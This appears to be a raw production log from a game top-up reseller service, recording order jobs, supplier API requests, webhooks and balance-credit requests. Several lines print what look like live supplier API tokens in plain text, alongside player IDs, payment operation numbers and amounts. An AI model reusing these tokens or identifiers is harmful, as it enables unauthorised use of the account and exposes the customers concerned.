[2026-03-24 18:34:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3WDe-1774366341","operation_id":164016,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 18:34:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3WDe-1774366341","operation_id":164016,"count":1} 
[2026-03-24 18:34:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3WDe-1774366341","operation_id":164016,"count":1} 
[2026-03-24 18:34:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3WDe-1774366341","operation_id":164016,"user_id":366,"notification_type":"order_approved","reference_id":179114} 
[2026-03-24 18:34:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3WDe-1774366341","operation_id":164016,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:34:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3WDe-1774366341","operation_id":164016,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:34:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3WDe-1774366341","operation_id":164016,"processed":1,"errors":0} 
[2026-03-24 18:34:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3WDe-1774366341","operation_id":164016,"processed":1,"errors":0} 
[2026-03-24 18:34:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3WDe-1774366341","operation_id":164016} 
[2026-03-24 18:34:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 18:34:09] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-qaeCeBn-1774366418","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:34:09] production.INFO: Processed webhook data (normalized) {"id":"ORD-qaeCeBn-1774366418","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:34:09] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:34:09] production.INFO: SendAcceptReject: Notification queued {"user_id":24,"notification_type":"order_approved","reference_id":179116} 
[2026-03-24 18:34:09] production.INFO: Order updated successfully. Order ID: 179116, Status: completed  
[2026-03-24 18:34:09] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-qaeCeBn-1774366418","status":"completed","codes_count":0} 
[2026-03-24 18:34:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 24  
[2026-03-24 18:35:01] production.INFO: Executing GetProducts task...  
[2026-03-24 18:35:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 18:35:01] production.INFO: Executing GetProducts task...  
[2026-03-24 18:35:03] production.INFO: async() رجع: true  
[2026-03-24 18:35:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 18:35:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 18:35:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 18:35:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 18:35:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 18:35:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 18:35:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 18:35:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 18:35:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 18:35:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 18:35:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 18:35:27] production.INFO: Constructing job for order: 179119  
[2026-03-24 18:35:29] production.INFO: Handling job for order: 179119  
[2026-03-24 18:35:29] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:35:29] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:35:29] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=699455e3-5252-4355-b827-97069bf527ec&Player_ID=51817493907  
[2026-03-24 18:35:29] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=699455e3-5252-4355-b827-97069bf527ec&Player_ID=51817493907","has_body":false} 
[2026-03-24 18:35:30] production.INFO: Operation sent successfully {"operation_id":164021,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-iKv9-1774366529","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:35:30"}},"processed_data":{"order_number":"ORD-iKv9-1774366529","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 18:35:45] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-iKv9-1774366529","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:35:45] production.INFO: Processed webhook data (normalized) {"id":"ORD-iKv9-1774366529","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:35:45] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:35:45] production.INFO: SendAcceptReject: Notification queued {"user_id":1703,"notification_type":"order_approved","reference_id":179119} 
[2026-03-24 18:35:45] production.INFO: Order updated successfully. Order ID: 179119, Status: completed  
[2026-03-24 18:35:45] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-iKv9-1774366529","status":"completed","codes_count":0} 
[2026-03-24 18:35:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1703  
[2026-03-24 18:36:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"pDGPGFCUhKKBX9QTrLHVxuR2zjVIoT8v","execution_time":"2026-03-24 18:36:03"} 
[2026-03-24 18:36:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"pDGPGFCUhKKBX9QTrLHVxuR2zjVIoT8v","execution_time":"2026-03-24 18:36:03","total_operations":3,"sites_count":1} 
[2026-03-24 18:36:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"pDGPGFCUhKKBX9QTrLHVxuR2zjVIoT8v","execution_time":"2026-03-24 18:36:03","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-tmRYG-1774365381","ORD-LHv7E-1774366419","ORD-zyvK115-1774366422"]} 
[2026-03-24 18:36:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"pDGPGFCUhKKBX9QTrLHVxuR2zjVIoT8v","execution_time":"2026-03-24 18:36:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:36:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"pDGPGFCUhKKBX9QTrLHVxuR2zjVIoT8v","execution_time":"2026-03-24 18:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 18:36:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"pDGPGFCUhKKBX9QTrLHVxuR2zjVIoT8v","execution_time":"2026-03-24 18:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-LHv7E-1774366419","operation_id":164019} 
[2026-03-24 18:36:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"pDGPGFCUhKKBX9QTrLHVxuR2zjVIoT8v","execution_time":"2026-03-24 18:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:36:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"pDGPGFCUhKKBX9QTrLHVxuR2zjVIoT8v","execution_time":"2026-03-24 18:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zyvK115-1774366422","operation_id":164020,"processed":1,"skipped":2,"updates_prepared":1} 
[2026-03-24 18:36:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"pDGPGFCUhKKBX9QTrLHVxuR2zjVIoT8v","execution_time":"2026-03-24 18:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zyvK115-1774366422","operation_id":164020,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 18:36:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"pDGPGFCUhKKBX9QTrLHVxuR2zjVIoT8v","execution_time":"2026-03-24 18:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zyvK115-1774366422","operation_id":164020,"count":1} 
[2026-03-24 18:36:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"pDGPGFCUhKKBX9QTrLHVxuR2zjVIoT8v","execution_time":"2026-03-24 18:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zyvK115-1774366422","operation_id":164020,"count":1} 
[2026-03-24 18:36:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"pDGPGFCUhKKBX9QTrLHVxuR2zjVIoT8v","execution_time":"2026-03-24 18:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zyvK115-1774366422","operation_id":164020,"user_id":67,"notification_type":"order_approved","reference_id":179118} 
[2026-03-24 18:36:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"pDGPGFCUhKKBX9QTrLHVxuR2zjVIoT8v","execution_time":"2026-03-24 18:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zyvK115-1774366422","operation_id":164020,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:36:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"pDGPGFCUhKKBX9QTrLHVxuR2zjVIoT8v","execution_time":"2026-03-24 18:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zyvK115-1774366422","operation_id":164020,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:36:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"pDGPGFCUhKKBX9QTrLHVxuR2zjVIoT8v","execution_time":"2026-03-24 18:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zyvK115-1774366422","operation_id":164020,"processed":1,"errors":0} 
[2026-03-24 18:36:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"pDGPGFCUhKKBX9QTrLHVxuR2zjVIoT8v","execution_time":"2026-03-24 18:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zyvK115-1774366422","operation_id":164020,"processed":1,"errors":0} 
[2026-03-24 18:36:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"pDGPGFCUhKKBX9QTrLHVxuR2zjVIoT8v","execution_time":"2026-03-24 18:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zyvK115-1774366422","operation_id":164020} 
[2026-03-24 18:36:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 67  
[2026-03-24 18:36:06] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-LHv7E-1774366419","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 18:36:06] production.INFO: Processed webhook data (normalized) {"id":"ORD-LHv7E-1774366419","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 18:36:06] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:36:06] production.INFO: SendAcceptReject: Notification queued {"user_id":1028,"notification_type":"order_approved","reference_id":179117} 
[2026-03-24 18:36:06] production.INFO: Order updated successfully. Order ID: 179117, Status: completed  
[2026-03-24 18:36:06] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-LHv7E-1774366419","status":"completed","codes_count":0} 
[2026-03-24 18:36:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1028  
[2026-03-24 18:37:12] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"120.5","mainamount":"120.5","operation_number":"158548976","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php9ir483vp52jkdphNJ8C"}},"user_id":1773} 
[2026-03-24 18:37:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 18:37:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 18:37:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 18:37:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 18:37:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 18:37:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 18:37:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 18:37:12] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 18:37:12] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18670,"user_id":1773,"amount":120.5,"admins_notified":7} 
[2026-03-24 18:37:17] production.INFO: Constructing job for order: 179120  
[2026-03-24 18:37:18] production.INFO: Handling job for order: 179120  
[2026-03-24 18:37:18] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:37:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:37:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=afd221a7-7c18-4b93-a9c3-6ed5334900db&Player_ID=471156  
[2026-03-24 18:37:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=afd221a7-7c18-4b93-a9c3-6ed5334900db&Player_ID=471156","has_body":false} 
[2026-03-24 18:37:19] production.INFO: Operation sent successfully {"operation_id":164022,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-xFV49-1774366638","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 18:37:19"}},"processed_data":{"order_number":"ORD-xFV49-1774366638","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 18:37:22] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-xFV49-1774366638","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 18:37:22] production.INFO: Processed webhook data (normalized) {"id":"ORD-xFV49-1774366638","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 18:37:22] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:37:22] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":179120} 
[2026-03-24 18:37:22] production.INFO: Order updated successfully. Order ID: 179120, Status: completed  
[2026-03-24 18:37:22] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-xFV49-1774366638","status":"completed","codes_count":0} 
[2026-03-24 18:37:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 18:37:34] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"120.5","mainamount":"120.5","operation_number":"158548976","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpt0kv1ekpe6pmbo0aeFx"}},"user_id":1773} 
[2026-03-24 18:38:00] production.INFO: Constructing job for order: 179121  
[2026-03-24 18:38:01] production.INFO: Handling job for order: 179121  
[2026-03-24 18:38:01] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:38:01] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:38:01] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=9a35bf5b-7ee7-4417-ae2e-e93808862cbe&Player_ID=51606165101  
[2026-03-24 18:38:01] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=9a35bf5b-7ee7-4417-ae2e-e93808862cbe&Player_ID=51606165101","has_body":false} 
[2026-03-24 18:38:02] production.INFO: Operation sent successfully {"operation_id":164023,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5zQ8-1774366681","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:38:02"}},"processed_data":{"order_number":"ORD-5zQ8-1774366681","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:38:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"YP7y2g2RNJ53DalyXY2Fea5hKXxihOxN","execution_time":"2026-03-24 18:38:02"} 
[2026-03-24 18:38:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"YP7y2g2RNJ53DalyXY2Fea5hKXxihOxN","execution_time":"2026-03-24 18:38:02","total_operations":2,"sites_count":1} 
[2026-03-24 18:38:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"YP7y2g2RNJ53DalyXY2Fea5hKXxihOxN","execution_time":"2026-03-24 18:38:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-tmRYG-1774365381","ORD-5zQ8-1774366681"]} 
[2026-03-24 18:38:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"YP7y2g2RNJ53DalyXY2Fea5hKXxihOxN","execution_time":"2026-03-24 18:38:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:38:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"YP7y2g2RNJ53DalyXY2Fea5hKXxihOxN","execution_time":"2026-03-24 18:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 18:38:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YP7y2g2RNJ53DalyXY2Fea5hKXxihOxN","execution_time":"2026-03-24 18:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5zQ8-1774366681","operation_id":164023} 
[2026-03-24 18:38:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YP7y2g2RNJ53DalyXY2Fea5hKXxihOxN","execution_time":"2026-03-24 18:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:38:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"YP7y2g2RNJ53DalyXY2Fea5hKXxihOxN","execution_time":"2026-03-24 18:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 18:38:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"YP7y2g2RNJ53DalyXY2Fea5hKXxihOxN","execution_time":"2026-03-24 18:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 18:38:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"YP7y2g2RNJ53DalyXY2Fea5hKXxihOxN","execution_time":"2026-03-24 18:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:38:04] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"3000.0","mainamount":"3000","operation_number":"600430991701","note":"600430991701","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php759q8imrgeo81Vzuvth"}},"user_id":663} 
[2026-03-24 18:38:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 18:38:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 18:38:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 18:38:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 18:38:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 18:38:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 18:38:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 18:38:05] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 18:38:05] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18671,"user_id":663,"amount":3000.0,"admins_notified":7} 
[2026-03-24 18:38:33] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-5zQ8-1774366681","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:38:33] production.INFO: Processed webhook data (normalized) {"id":"ORD-5zQ8-1774366681","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:38:33] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:38:33] production.INFO: SendAcceptReject: Notification queued {"user_id":627,"notification_type":"order_approved","reference_id":179121} 
[2026-03-24 18:38:33] production.INFO: Order updated successfully. Order ID: 179121, Status: completed  
[2026-03-24 18:38:33] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-5zQ8-1774366681","status":"completed","codes_count":0} 
[2026-03-24 18:38:35] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 627  
[2026-03-24 18:38:39] production.INFO: SendAcceptReject: Notification queued {"user_id":1773,"notification_type":"request_rejected","reference_id":18670} 
[2026-03-24 18:38:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 18:38:52] production.INFO: SendAcceptReject: Notification queued {"user_id":663,"notification_type":"request_approved","reference_id":18671} 
[2026-03-24 18:39:32] production.INFO: Constructing job for order: 179122  
[2026-03-24 18:39:33] production.INFO: Constructing job for order: 179123  
[2026-03-24 18:39:35] production.INFO: Handling job for order: 179122  
[2026-03-24 18:39:35] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 18:39:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:39:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=73a240f8-40d6-4e70-a1bf-fa435a375398&Player_ID=0935314142  
[2026-03-24 18:39:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=73a240f8-40d6-4e70-a1bf-fa435a375398&Player_ID=0935314142","has_body":false} 
[2026-03-24 18:39:36] production.INFO: Operation sent successfully {"operation_id":164024,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-tlFAlv-1774366776","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 18:39:36"}},"processed_data":{"order_number":"ORD-tlFAlv-1774366776","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 18:39:36] production.INFO: Handling job for order: 179123  
[2026-03-24 18:39:36] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:39:36] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:39:36] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=a5f17851-1801-4769-8744-454541732cf1&Player_ID=5230135711  
[2026-03-24 18:39:36] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=a5f17851-1801-4769-8744-454541732cf1&Player_ID=5230135711","has_body":false} 
[2026-03-24 18:39:37] production.INFO: Operation sent successfully {"operation_id":164025,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-XujQ-1774366776","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:39:37"}},"processed_data":{"order_number":"ORD-XujQ-1774366776","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG"}} 
[2026-03-24 18:39:37] production.INFO: Constructing job for order: 179124  
[2026-03-24 18:39:39] production.INFO: Constructing job for order: 179125  
[2026-03-24 18:39:39] production.INFO: Constructing job for order: 179126  
[2026-03-24 18:39:40] production.INFO: Handling job for order: 179124  
[2026-03-24 18:39:40] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:39:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:39:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=9e8864cb-aa8e-4d81-a63f-50dd928510ae&Player_ID=5230135711  
[2026-03-24 18:39:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=9e8864cb-aa8e-4d81-a63f-50dd928510ae&Player_ID=5230135711","has_body":false} 
[2026-03-24 18:39:40] production.INFO: Operation sent successfully {"operation_id":164026,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-0Bt-1774366780","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:39:40"}},"processed_data":{"order_number":"ORD-0Bt-1774366780","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 18:39:40] production.INFO: Handling job for order: 179125  
[2026-03-24 18:39:40] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:39:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:39:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=f4332761-06c5-451b-b15d-d87e80d0a85f&Player_ID=52090608047  
[2026-03-24 18:39:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=f4332761-06c5-451b-b15d-d87e80d0a85f&Player_ID=52090608047","has_body":false} 
[2026-03-24 18:39:41] production.INFO: Operation sent successfully {"operation_id":164027,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Fn8ILwx-1774366781","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:39:41"}},"processed_data":{"order_number":"ORD-Fn8ILwx-1774366781","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
